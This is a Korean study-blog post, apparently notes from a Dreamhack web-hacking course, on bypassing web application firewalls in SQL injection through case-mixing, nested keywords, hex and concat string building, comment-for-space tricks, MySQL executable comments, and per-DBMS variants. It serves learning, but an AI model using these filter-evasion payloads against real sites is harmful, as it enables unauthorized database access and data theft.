[Dreamhack-web] SQL-Injection-6

박정원·2023년 3월 22일

보안공부

목록 보기
15/43

Bypass WAF

  • Web Application Firewall (WAF)는 웹 애플리케이션에 특화된 방화벽임
  • 각 DBMS 별로 방화벽을 우회하기 위한 방법이 있음

대소문자 검사 미흡

  • SQL은 데이터베이스와 컬럼명을 포함해 질의문의 대소문자를 구분하지 않고 실행함
    UnIoN SeLecT 1, 2, 3
    selECT SLEep(5)
    UNION이라는 키워드 또는 union이라는 키워드를 통해 공격 여부를 판단할 때
    대소문자를 함께 사용하면 DBMS에서 정상적으로 실행됨

탐지 과정 미흡

  • 방화벽에서 악성 키워드를 탐지했을 때 다양하게 요청을 처리할 수 있음
    ex) 방화벽에서 "UNION" 또는 "union"이라는 문자열을 탐지하고, 공백으로 치환할 경우
    UNunionION SELselectECT 1,2-- 
    # => UNION SELECT 1,2-- 
    이런식으로 쿼리가 변환되므로 정상적으로 쿼리가 실행될 수 있음

문자열 검사 미흡

  • admin 키워드의 포함 여부를 검사하는 경우
    mysql> SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;
    reverse와 concat 함수를 이용해 문자열을 뒤집고, 이어붙이며, 16진수를 사용해 임의의 문자열을 완성함

연산자 검사 미흡

  • 연산자를 검사하는 경우 다음과 같은 방법으로 우회할 수 있음
    mysql> select 1 || 1;
    이 외에도 ^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있음

공백 탐지

  • 공백을 허용하는 경우 공격자가 SQL Injection을 통해 다양한 함수와 또 다른 쿼리를 삽입해 의도하지 않은 결과가 나타날 수 있으므로, 해당 문자를 검사하는 경우도 있음
    mysql> SELECT/**/'abc';
    주석을 이용해서 공백 문자 검사를 우회하는 쿼리의 예시
    mysql> select`username`,(password)from`users`WHERE`username`='admin';
    Back Quote 문자를 사용해 공백 없이 쿼리를 실행

MySQL 우회 기법

문자열 검사 우회

mysql> select 0x6162, 0b11000010110010;
mysql> select char(0x61, 0x62);
mysql> select concat(char(0x61), char(0x62));
mysql> select mid(@@version,12,1);

공백 검사 우회

mysql> select 
	-> 1;
mysql> select/**/1;

주석 구문 실행

  • WAF에서는 "/ ... /" 문자열을 주석으로 인식하고 쿼리 구문으로 실행 x
  • "/!.../"는 주석 내 구문을 분석하고, 이를 쿼리의 일부로 실행함
    mysql> select 1 /*!union*/ select 2;

PostgreSQL 우회 기법

문자열 검사 우회

postgres=> select chr(65);
postgres=> select concat(chr(65), chr(66));
postgres=> select substring(version(),23,1);

공백 검사 우회

postgres=> select
1;
postgres=> select/**/1;

MSSQL 우회 기법

문자열 검사 우회

> select char(0x61);
> select concat(char(0x61), char(0x62));
> select substring(@@version, 134, 1);

공백 검사 우회

> select
1;
> select/**/1;

SQLite 우회 기법

문자열 검사 우회

sqlite> select char(0x61);
sqlite> select char(0x61)||char(0x62);

공백 검사 우회

sqlite> select
 ...> 1;
sqlite> select/**/1;

구문 검사 우회

  • SELECT 구문을 사용하지 못하면 원하는 값을 반환할 수 없음
    sqlite> select 1 union values(2);
    UNION VALUES(num)을 이용하면 원하는 값을 반환할 수 있음
profile
보안, 프런트엔드 공부 중!

0개의 댓글